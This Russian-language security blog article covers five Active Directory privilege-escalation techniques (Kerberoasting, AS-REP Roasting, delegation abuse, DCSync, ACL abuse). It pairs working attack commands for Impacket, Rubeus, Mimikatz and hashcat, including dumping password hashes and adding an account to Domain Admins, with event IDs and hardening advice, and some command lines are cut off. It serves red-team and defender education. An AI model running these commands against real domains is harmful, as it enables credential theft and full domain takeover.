

Полное руководство по повышению привилегий в Active Directory: 5 проверенных тактик и методы защиты

 redsec.by/article/polnoe-rukovodstvo-po-povysheniyu-privilegij-v-active-directory-5-proverennyh-taktik-i-metody-zashity

Red Teams | 22 октября 2025



Почему Active Directory — цель номер один

Active Directory является краеугольным камнем IT-инфраструктуры подавляющего большинства организаций по всему миру. Это не просто база данных пользователей

и компьютеров; это централизованная система управления доступом, политиками безопасности и аутентификацией. Контроль над Active Directory равносителен контролю над всей корпоративной сетью. Именно поэтому для злоумышленников, получивших первоначальный доступ даже к одной низкопривилегированной учетной записи, следующей и главной целью становится эскалация привилегий до уровня администратора домена.

Получив контроль над AD, атакующий может развернуть программы-вымогатели на всех компьютерах сети, похитить коммерческую тайну, удалить критически важные данные и оставаться незамеченным в течение месяцев. В этой статье мы детально рассмотрим пять наиболее разрушительных и часто успешных техник повышения привилегий в Active Directory. Мы не только объясним, как они работают, но и предоставим практические команды и, что самое важное, — исчерпывающие рекомендации по обнаружению и защите. Этот материал будет полезен как специалистам по наступательной безопасности (пентестерам, red team), так и тем, кто стоит на страже (blue team, аналитикам SOC).

1. Kerberoasting: Медленное приготовление хешей сервисных учетных записей

Описание атаки

Kerberoasting — это классическая и невероятно эффективная техника, направленная на получение паролей сервисных учетных записей. Суть атаки заключается в эксплуатации механизма Service Principal Names (SPN) в протоколе Kerberos. Любой аутентифицированный пользователь домена имеет право запросить специальный билет (TGS) для любой службы, у которой зарегистрирован SPN. Этот билет шифруется с использованием хеша пароля сервисной учетной записи. Запросив такой билет, злоумышленник может извлечь зашифрованную часть и попытаться взломать ее в оффлайн-режиме, не взаимодействуя с системой-жертвой и не рискуя блокировкой учетной записи.

Эта атака относится к подтехнике MITRE ATT&CK T1558.003 и остается одной из первых техник, которую применяют злоумышленники после проникновения в сеть. Причина ее популярности — низкий уровень шума и высокая вероятность успеха из-за частого использования слабых паролей для сервисных аккаунтов.

Как работает атака

Процесс Kerberoasting можно разбить на четыре ключевых этапа:

- **Перечисление SPN:** Атакующий сканирует Active Directory в поисках учетных записей пользователей (не компьютеров), у которых настроен атрибут servicePrincipalName. Это обычно учетные записи для баз данных (MS SQL), веб-серверов, служб автоматизации и т.д.
- **Запрос TGS:** От имени своей учетной записи злоумышленник отправляет запрос в Key Distribution Center (KDC), обычно расположенный на контроллере домена, на получение TGS-билета для целевой сервисной учетной записи.
- **Извлечение хеша:** KDC возвращает TGS-билет, часть которого зашифрована хешем пароля сервисного аккаунта. Атакующий извлекает эту зашифрованную часть из билета.
- **Оффлайн-взлом:** Полученный хеш взламывается на машине атакующего с помощью мощных утилит для перебора паролей, таких как Hashcat или John the Ripper. Поскольку процесс происходит оффлайн, он не генерирует событий неудачного входа в системе и может продолжаться неограниченное время.

Практические команды

С использованием Impacket GetUserSPNs.py (Linux):

Перечисление учетных записей с SPN

```
impacket-GetUserSPNs -dc-ip 192.168.1.10 domain.local/username:password
```

Запрос TGS-билетов и сохранение хешей для взлома

```
impacket-GetUserSPNs -dc-ip 192.168.1.10 domain.local/username:password -request
```

Атака с использованием техники Pass-the-Hash, если пароль неизвестен, но есть NTLM-х

```
impacket-GetUserSPNs -dc-ip 192.168.1.10 -hashes :NTHASH domain.local/username -request
```

Сохранение извлеченных хешей в файл для последующего взлома

```
impacket-GetUserSPNs -dc-ip 192.168.1.10 domain.local/username:password -request -o
```

С использованием Rubeus (Windows):

Базовый Kerberoasting всех доступных сервисных учетных записей в домене

```
.\Rubeus.exe kerberoast /outfile:hashes.txt
```

Kerberoasting для конкретного пользователя

```
.\Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt
```

Запрос билетов, зашифрованных с помощью RC4, что значительно ускоряет процесс взлома

```
.\Rubeus.exe kerberoast /tgtdeleg
```

Более "тихая" версия атаки для учетных записей без явной поддержки AES

```
.\Rubeus.exe kerberoast /rc4opsec
```

PowerShell с использованием PowerView:

Импорт модуля PowerView

```
Import-Module .\PowerView.ps1
```

Поиск всех пользователей с зарегистрированными SPN

```
Get-DomainUser -SPN
```

Запрос TGS-билетов для всех найденных SPN и вывод в формате для Hashcat
Invoke-Kerberoast -OutputFormat Hashcat

Взлом полученных хешей

Hashcat (режим 13100 для Kerberos TGS-REP):

Атака по словарю

```
hashcat -m 13100 hashes.txt rockyou.txt
```

Атака брутфорс по маске (например, 8 строчных букв)

```
hashcat -m 13100 hashes.txt -a 3 ?l?l?l?l?l?l?l?l
```

Атака по словарю с применением правил модификации

```
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule
```

John the Ripper:

Базовый взлом по словарю

```
john --format=krb5tgs --wordlist=passwords.txt hashes.txt
```

Взлом с применением правил

```
john --format=krb5tgs --wordlist=wordlist.txt --rules hashes.txt
```

Обнаружение и защита

Event ID для мониторинга:

- **4769:** Запрошен сервисный билет Kerberos. Аномалией является большое количество таких запросов от одного пользователя за короткий промежуток времени, особенно если тип шифрования в билете — RC4 (Ticket Encryption Type: 0x17).
- **4768:** Запрошен билет Kerberos TGT.
- **4776:** Проверка учетных данных на контроллере домена.

Индикаторы атаки:

- Массовые запросы TGS-билетов с одной рабочей станции.
- Запросы TGS с явным понижением уровня шифрования (с AES на RC4).
- LDAP-запросы к AD с фильтром servicePrincipalName=*.

Меры защиты:

- **Сложные пароли:** Используйте пароли длиной не менее 25 символов для всех сервисных учетных записей. Это делает оффлайн-брутфорс практически невозможным.

- **Использование gMSA/MSA:** Внедряйте управляемые сервисные учетные записи (Managed Service Accounts) и групповые управляемые сервисные учетные записи (gMSA). Windows автоматически управляет их паролями, генерируя длинные и сложные случайные строки, и регулярно их меняет.
- **Регулярная ротация паролей:** Если использование gMSA невозможно, внедрите строгую политику регулярной смены паролей для сервисных аккаунтов.
- **Мониторинг:** Настройте в вашей SIEM-системе правила для обнаружения аномального количества событий с ID 4769.

2. AS-REP Roasting: Атака на доверие без предварительной проверки

Описание атаки

AS-REP Roasting — это атака, нацеленная на учетные записи пользователей, для которых отключена предварительная аутентификация Kerberos (атрибут Do not require Kerberos preauthentication). Если этот параметр активен, то любой пользователь (даже неаутентифицированный в домене) может запросить у KDC часть зашифрованных данных аутентификации (AS-REP). Эта часть зашифрована NTLM-хешем пароля пользователя. Как и в случае с Kerberoasting, этот хеш можно взломать оффлайн.

Ключевое отличие и опасность этой атаки в том, что для ее проведения **атакующему не нужен валидный логин и пароль в домене**. Достаточно знать имя уязвимой учетной записи.

Как работает атака

- **Разведка:** Атакующий находит в Active Directory учетные записи, у которых установлен флаг DONT_REQ_PREAUTH.
- **Запрос AS-REP:** Злоумышленник отправляет AS-REQ запрос на KDC от имени найденной учетной записи.
- **Извлечение зашифрованных данных:** Поскольку предварительная аутентификация отключена, KDC не проверяет, кто делает запрос, и возвращает AS-REP ответ, содержащий блок данных, зашифрованный хешем пароля пользователя.
- **Оффлайн-взлом:** Атакующий извлекает этот блок и взламывает его на своей машине.

Практические команды

Поиск уязвимых учетных записей (PowerShell):

Поиск пользователей с отключенной предварительной аутентификацией с помощью модуля `Get-ADUser`

```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
```

С использованием PowerView
Get-DomainUser -PreauthNotRequired

AS-REP Roasting с Rubeus:

AS-REP Roasting для всех найденных уязвимых учетных записей
.\Rubeus.exe asreproast /outfile:asrep_hashes.txt

Атака на конкретного пользователя
.\Rubeus.exe asreproast /user:vulnerable_user /outfile:hash.txt

Сразу получить хеши в формате для Hashcat
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

AS-REP Roasting с Impacket:

Перечисление и извлечение AS-REP хешей, если есть список потенциальных пользователей
impacket-GetNPUsers -dc-ip 192.168.1.10 domain.local/ -usersfile users.txt -format h

Если есть валидные учетные данные, можно перечислить уязвимых пользователей через LC
impacket-GetNPUsers -dc-ip 192.168.1.10 domain.local/username:password -request

Взлом AS-REP хешей

Hashcat (режим 18200):

Атака по словарю
hashcat -m 18200 asrep_hashes.txt rockyou.txt

Атака брутфорс
hashcat -m 18200 asrep_hashes.txt -a 3 ?l?l?l?l?l?l?l?l

John the Ripper:

john --format=krb5asrep --wordlist=passwords.txt asrep_hashes.txt

Обнаружение и защита

Event ID для мониторинга:

- **4768:** Запрошен билет Kerberos TGT. При успешной атаке AS-REP Roasting код результата (Result Code) будет 0x0, а тип предварительной аутентификации (Pre-Authentication Type) будет 0.
- **4771:** Ошибка предварительной аутентификации Kerberos. Отсутствие этого события при запросе TGT для учетной записи, где преаутентификация должна быть включена, является серьезным индикатором атаки.

Индикаторы атаки:

- Событие с ID 4768 для учетных записей, у которых отключена предварительная аутентификация.

- Запросы AS-REQ без данных предварительной аутентификации, исходящие из нетипичных источников в сети.

Меры защиты:

- **Включить преаутентификацию:** Убедитесь, что атрибут DoesNotRequirePreAuth не установлен ни для одной пользовательской или сервисной учетной записи, если на то нет веских причин (например, совместимость со старыми системами Linux/Unix).
- **Регулярный аудит:** Периодически сканируйте AD на наличие учетных записей с отключенной преаутентификацией.
- **Сложные пароли:** Даже если преаутентификация отключена, пароль длиной 25+ символов делает оффлайн-взлом нецелесообразным.
- **Honeyrot-аккаунты:** Создайте несколько фиктивных учетных записей с отключенной преаутентификацией и слабыми паролями. Настройте на них высокий уровень мониторинга. Любая попытка их использования будет явным сигналом об атаке.

3. Эксплуатация делегирования: Когда доверие заходит слишком далеко

Описание атаки

Делегирование в Active Directory — это мощный механизм, позволяющий службе или компьютеру олицетворять другого пользователя для доступа к ресурсам в сети. Однако неправильная настройка делегирования создает серьезные риски для безопасности. Существует три основных типа делегирования, каждый из которых может быть использован для повышения привилегий:

- **Unconstrained Delegation (Неограниченное делегирование):** Самый старый и самый опасный тип.
- **Constrained Delegation (Ограниченное делегирование):** Более безопасный вариант, но также уязвимый.
- **Resource-Based Constrained Delegation (RBCD):** Самый новый тип, который переносит контроль над делегированием на владельца ресурса.

3.1 Атака на неограниченное делегирование (Unconstrained Delegation)

Как работает: Если на сервере (например, файловом или веб-сервере) включено неограниченное делегирование, то когда пользователь (например, администратор домена) аутентифицируется на этом сервере, его TGT (Ticket Granting Ticket) кэшируется в памяти процесса LSASS на сервере. Если злоумышленник скомпрометировал этот сервер и имеет на нем права локального администратора, он

может извлечь TGT из памяти и использовать его для аутентификации в сети от имени этого пользователя, получая все его привилегии.

Практические команды:

Поиск серверов с Unconstrained Delegation:

С помощью PowerView

```
Get-DomainComputer -Unconstrained
```

С помощью стандартного модуля AD для PowerShell

```
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation
```

Прямой LDAP-запрос для поиска соответствующего флага в userAccountControl

```
Get-ADComputer -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
```

Мониторинг и извлечение TGT с помощью Rubeus:

Запуск мониторинга входящих TGT (требуется права локального администратора)

```
.\Rubeus.exe monitor /interval:10
```

Извлечение всех доступных билетов из памяти

```
.\Rubeus.exe triage
```

Дамп конкретного TGT по его LUID

```
.\Rubeus.exe dump /luid:0x3e7
```

Принудительная аутентификация (например, атака "Printer Bug"):

Злоумышленник может заставить контроллер домена аутентифицироваться на скомпрометированном сервере, чтобы перехватить его TGT.

Использование утилиты SpoolSample для принудительной аутентификации DC на нашем сервере

```
.\SpoolSample.exe DC01.domain.local COMPROMISED-SERVER.domain.local
```

3.2 Атака на ограниченное делегирование (Constrained Delegation)

Как работает: Ограниченное делегирование позволяет службе представляться пользователем только для доступа к определенному, заранее заданному набору служб (SPN). Однако, если атакующий получает контроль над учетной записью, для которой настроено такое делегирование, он может использовать расширения протокола Kerberos (S4U2self и S4U2proxy) для получения сервисного билета к разрешенной службе от имени *любого* пользователя в домене, включая администратора.

Практические команды:

Поиск учетных записей с Constrained Delegation:

С помощью PowerView
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

С помощью модуля AD
Get-ADUser -Filter {msDS-AllowedToDelegateTo -ne "\$null"} -Properties msDS-AllowedTo
Get-ADComputer -Filter {msDS-AllowedToDelegateTo -ne "\$null"} -Properties msDS-AllowedTo

Эксплуатация с Rubeus (S4U атака):

Запрос билета от имени администратора к целевому серверу и его импорт в текущую сессию
.\\Rubeus.exe s4u /user:serviceaccount\$ /rc4:NTHASH /impersonateuser:Administrator /n

С использованием украденного TGT
.\\Rubeus.exe s4u /ticket:BASE64_TGT /impersonateuser:Administrator /msdsspn:cifs/target\$

3.3 Атака на ограниченное делегирование на основе ресурсов (RBCD)

Как работает: В отличие от предыдущих типов, RBCD настраивается не на учетной записи службы, а на конечном ресурсе (например, на сервере). Владелец ресурса указывает, каким учетным записям разрешено делегировать полномочия для доступа к нему. Если атакующий получает права на запись атрибута msDS-AllowedToActOnBehalfOfOtherIdentity для целевого компьютера, он может разрешить своей подконтрольной учетной записи делегировать полномочия на этот компьютер и получить к нему доступ.

Практические команды:

Управление RBCD с помощью rbcd.py из Impacket:

Чтение текущих настроек RBCD для целевого компьютера
rbcd.py -delegate-to 'target\$' -dc-ip 10.10.10.10 -action 'read' 'domain'/'user':'pa

Добавление своей подконтрольной учетной записи в список разрешенных
rbcd.py -delegate-from 'controlledaccount\$' -delegate-to 'target\$' -dc-ip 10.10.10.1

Очистка атрибута после атаки
rbcd.py -delegate-to 'target\$' -dc-ip 10.10.10.10 -action 'remove' 'domain'/'user':'

Получение билета после настройки RBCD с помощью Rubeus:

Выполнение S4U атаки после предоставления себе прав
.\\Rubeus.exe s4u /user:controlledaccount\$ /rc4:NTHASH /impersonateuser:Administrator

Обнаружение и защита

Меры защиты:

- **Минимизируйте использование Unconstrained Delegation:** По возможности переходите на Constrained Delegation или RBCD.

- **Защита привилегированных учетных записей:** Для всех административных учетных записей установите флаг "Account is sensitive and cannot be delegated".
- **Группа "Protected Users":** Добавляйте критически важные учетные записи в эту группу. Это накладывает дополнительные ограничения, в том числе запрещает делегирование.
- **Регулярный аудит:** Периодически проверяйте, для каких учетных записей настроено делегирование.
- **Мониторинг ACL:** Отслеживайте изменения атрибута msDS-AllowedToActOnBehalfOfOtherIdentity на критически важных системах.

Event ID для мониторинга:

- **4662:** Выполнена операция над объектом Active Directory (ищите изменения атрибутов делегирования).
- **4738:** Изменена учетная запись пользователя (в частности, флаги userAccountControl).

4. DCSync: Притворись контроллером домена и получи все пароли

Описание атаки

DCSync — это не столько атака, сколько злоупотребление легитимной функцией репликации данных между контроллерами домена. Атакующий, имея учетную запись с определенными правами, может отправить запрос другому контроллеру домена, притворившись еще одним DC, и запросить данные для репликации. В ответ он получает NTLM-хеши паролей всех пользователей, включая хеш учетной записи krbtgt, который используется для создания Golden Ticket.

Эта атака чрезвычайно опасна, так как не требует выполнения кода на контроллере домена и не оставляет следов в виде логов входа на сам DC.

Необходимые права:

- Replicating Directory Changes (DS-Replication-Get-Changes)
- Replicating Directory Changes All (DS-Replication-Get-Changes-All)

По умолчанию этими правами обладают группы: Domain Admins, Enterprise Admins, Administrators и Domain Controllers.

Как работает атака

- Атакующий компрометирует учетную запись, обладающую правами на репликацию.
- С помощью специализированного инструмента (Mimikatz, Impacket) он отправляет запрос на репликацию через протокол MS-DRSR к целевому DC.

- Контроллер домена, считая, что общается с другим DC, возвращает запрошенные данные, включая хеши паролей.
- Атакующий получает хеши всех пользователей, что позволяет ему проводить Pass-the-Hash атаки или создавать Golden Tickets.

Практические команды

DCSync с Mimikatz:

Запуск Mimikatz с необходимыми привилегиями
`privilege::debug`

DCSync для получения хеша пароля конкретного пользователя
`lsadump::dcsync /domain:domain.local /user:Administrator`

DCSync для получения хеша krbtgt (цель для Golden Ticket)
`lsadump::dcsync /domain:domain.local /user:krbtgt`

DCSync для всей базы данных AD (очень "шумная" операция)
`lsadump::dcsync /domain:domain.local /all`

Указание конкретного DC для запроса
`lsadump::dcsync /domain:domain.local /dc:DC01.domain.local /user:Administrator`

DCSync с Impacket secretsdump.py:

С использованием логина и пароля
`impacket-secretsdump domain.local/username:password@DC01.domain.local`

С использованием Pass-the-Hash
`impacket-secretsdump -hashes :NTHASH domain.local/username@DC01.domain.local`

Выполнение только DCSync (без чтения SAM и LSA)
`impacket-secretsdump -just-dc domain.local/username:password@DC01.domain.local`

Получение только хеша krbtgt
`impacket-secretsdump -just-dc-user krbtgt domain.local/username:password@DC01.domain.local`

Проверка прав для DCSync (PowerShell):

Этот скрипт поможет найти учетные записи (помимо стандартных), которым были делегированы права на репликацию.

```
Import-Module ActiveDirectory
$DomainNC = (Get-ADDomain).DistinguishedName
$ACLs = (Get-Acl "AD:$DomainNC").Access | Where-Object {
    ($_.ObjectType -in '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '1131f6aa-9c07-11d1-f
    $_.AccessControlType -eq 'Allow'
}
foreach ($ACL in $ACLs) {
```

```
Write-Host ("Права на репликацию предоставлены: " + $ACL.IdentityReference)
}
```

Обнаружение и защита

Event ID для мониторинга:

4662: Выполнена операция над объектом. Необходимо настроить аудит (SACL) на корневой объект домена и отслеживать доступ с GUID прав "Replicating Directory Changes".

Индикаторы атаки:

- Сетевой трафик репликации (DRS, порты 135 и динамические RPC), исходящий от машин, которые не являются контроллерами домена.
- Вызовы функции GetNCChanges от нелегитимных источников.

Меры защиты:

- **Строгий аудит прав:** Регулярно проверяйте, какие учетные записи имеют права на репликацию. Минимизируйте их количество.
- **Мониторинг сети:** Используйте системы анализа трафика (NTA) для обнаружения аномальной активности репликации.
- **Группа "Protected Users":** Члены этой группы защищены от атак, использующих NTLM-хеши.
- **Минимизация привилегий:** Убедитесь, что ни у кого, кроме абсолютного минимума необходимых администраторов, нет прав на репликацию.
- **Двухфакторная аутентификация:** Применение 2FA для всех привилегированных учетных записей значительно усложняет их компрометацию.

5. Эксплуатация ACL: Паутина разрешений, ведущая к трону

Описание атаки

Каждый объект в Active Directory (пользователь, группа, компьютер) имеет список контроля доступа (Access Control List, ACL), который определяет, кто и какие действия может с ним выполнять. Неправильная конфигурация этих разрешений — одна из самых частых причин повышения привилегий. Злоумышленник, имея даже самые ограниченные права, может найти "цепочку" уязвимых ACL, которая в конечном итоге приведет его к полному контролю над доменом.

Основные эксплуатируемые права:

- **GenericAll:** Полный контроль над объектом, включая сброс пароля и добавление в группы.
- **GenericWrite:** Право на изменение любых атрибутов объекта.

- **WriteDacl:** Право на изменение списка доступа (DACL) объекта, что позволяет атакующему выдать самому себе любые права.
- **WriteOwner:** Право на смену владельца объекта. Став владельцем, можно изменить DACL.
- **ForceChangePassword:** Право на принудительный сброс пароля пользователя.

Как работает атака

- **Картографирование:** Атакующий использует инструменты, такие как BloodHound, для сбора информации о пользователях, группах, компьютерах и их ACL.
- **Анализ путей атаки:** BloodHound строит граф связей и автоматически находит кратчайшие пути от скомпрометированной учетной записи до цели (например, группы "Domain Admins").
- **Эксплуатация:** Злоумышленник последовательно эксплуатирует найденные уязвимые права (например, добавляет себя в группу, на которую у него есть права GenericAll, затем сбрасывает пароль пользователя из этой группы и т.д.), пока не достигнет цели.

Практические команды

Поиск уязвимых ACL с BloodHound:

Сбор данных с помощью SharpHound (исполняемый файл)
`.\SharpHound.exe -c All --outputdirectory C:\temp`

Сбор данных с помощью PowerShell-версии
`Import-Module .\SharpHound.ps1`
`Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\temp`

Сбор только информации об ACL для ускорения
`Invoke-BloodHound -CollectionMethod ACL`

После импорта собранных данных в интерфейс BloodHound можно использовать встроенные Cypher-запросы для поиска путей атаки, например: "Shortest Paths to Domain Admins from Owned Principals".

Поиск уязвимых прав с PowerView:

Импорт модуля
`Import-Module .\PowerView.ps1`

Поиск всех интересных (потенциально уязвимых) ACL в домене
`Find-InterestingDomainAcl -ResolveGUIDs`

Поиск прав доступа для конкретного пользователя
`Get-ObjectAcl -SamAccountName "targetuser" -ResolveGUIDs`

Поиск всех объектов, на которые текущий пользователь имеет права GenericAll
`Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"`

Примеры эксплуатации:

Эксплуатация GenericAll на пользователе (сброс пароля):

С помощью модуля Active Directory
`Set-ADAccountPassword -Identity targetuser -NewPassword (ConvertTo-SecureString 'New`

Эксплуатация GenericAll на группе (добавление себя в группу):

С помощью модуля Active Directory
`Add-ADGroupMember -Identity "Domain Admins" -Members attacker`

Эксплуатация WriteDacl (выдача себе прав GenericAll):

С использованием ADSI
`$user = "targetuser"
$dn = (Get-ADUser $user).DistinguishedName
$adsi = [ADSI]"LDAP://$dn"
$sec = $adsi.psbase.ObjectSecurity
$identity = [System.Security.Principal.NTAccount]"DOMAIN\attacker"
$rule = [System.DirectoryServices.ActiveDirectoryAccessRule]::new($identity, "Generi
$sec.AddAccessRule($rule)
$adsi.psbase.CommitChanges()`

Эксплуатация GenericWrite (Targeted Kerberoasting):

Если у атакующего есть право GenericWrite на пользователя, он может добавить ему SPN, а затем провести атаку Kerberoasting, чтобы получить хеш его пароля.

Установка SPN для пользователя
`Set-ADUser -Identity targetuser -ServicePrincipalNames @{Add="HTTP/fake.domain.local`

Затем выполнить Kerberoasting
`.\Rubeus.exe kerberoast /user:targetuser /nowrap`

Обнаружение и защита

Event ID для мониторинга:

- **4662:** Выполнена операция над объектом Active Directory.
- **4738:** Изменена учетная запись пользователя.
- **4728 / 4732:** Член добавлен в привилегированную группу безопасности.
- **4670:** Изменены разрешения на объект.

Индикаторы атаки:

- Неожиданные изменения в членстве привилегированных групп (Domain Admins, Enterprise Admins и т.д.).

- Изменения DACL на критически важных объектах (пользователях-администраторах, OU с контроллерами домена).
- Сброс паролей для привилегированных учетных записей.

Меры защиты:

- **Регулярный аудит ACL:** Используйте BloodHound, PingCastle или Purple Knight для регулярного аудита конфигурации прав доступа и выявления опасных путей атак.
- **Принцип наименьших привилегий:** Предоставляйте пользователям и службам только те права, которые им абсолютно необходимы для выполнения их задач.
- **Защита привилегированных групп (AdminSDHolder):** Понимайте, как работает механизм AdminSDHolder, который применяет защищенный шаблон ACL к членам привилегированных групп, и не вносите в него необоснованных изменений.
- **Модель эшелонированного администрирования (Tiered Administration):** Разделите администрирование на уровни (Tier 0 — контроллеры домена, Tier 1 — серверы, Tier 2 — рабочие станции) и запретите вход с учетных записей более высокого уровня на ресурсы более низкого.

От знаний к действию

Пять рассмотренных техник — **Kerberoasting, AS-REP Roasting, эксплуатация делегирования, DCSync и злоупотребление ACL** — являются основой арсенала любого атакующего, нацеленного на Active Directory. Их эффективность обусловлена тем, что они эксплуатируют легитимные и необходимые для работы функции, что делает их обнаружение без специализированных инструментов и правильно настроенного аудита крайне сложной задачей.

Защита Active Directory — это не разовый проект, а непрерывный процесс. Ключ к успеху лежит в комплексном подходе:

- **Проактивный аудит:** Не ждите инцидента. Регулярно анализируйте конфигурацию AD с помощью таких инструментов, как BloodHound и Purple Knight, чтобы выявлять и устранять слабые места.
- **Глубокий мониторинг:** Настройте детальный аудит событий безопасности, отправляйте логи в SIEM-систему и разработайте правила корреляции для выявления аномалий, описанных в этой статье.
- **Строгая гигиена привилегий:** Внедрите модель наименьших привилегий, используйте модель эшелонированного администрирования и защищайте чувствительные учетные записи.

- **Регулярные учения:** Проводите внутренние тесты на проникновение или Red Team учения, чтобы проверить на практике, насколько ваша защита эффективна против реальных техник атак.

Понимание того, как думает и действует злоумышленник, является лучшим оружием в руках защитника. Используйте эти знания, чтобы превратить ваш Active Directory из легкой мишени в неприступную крепость.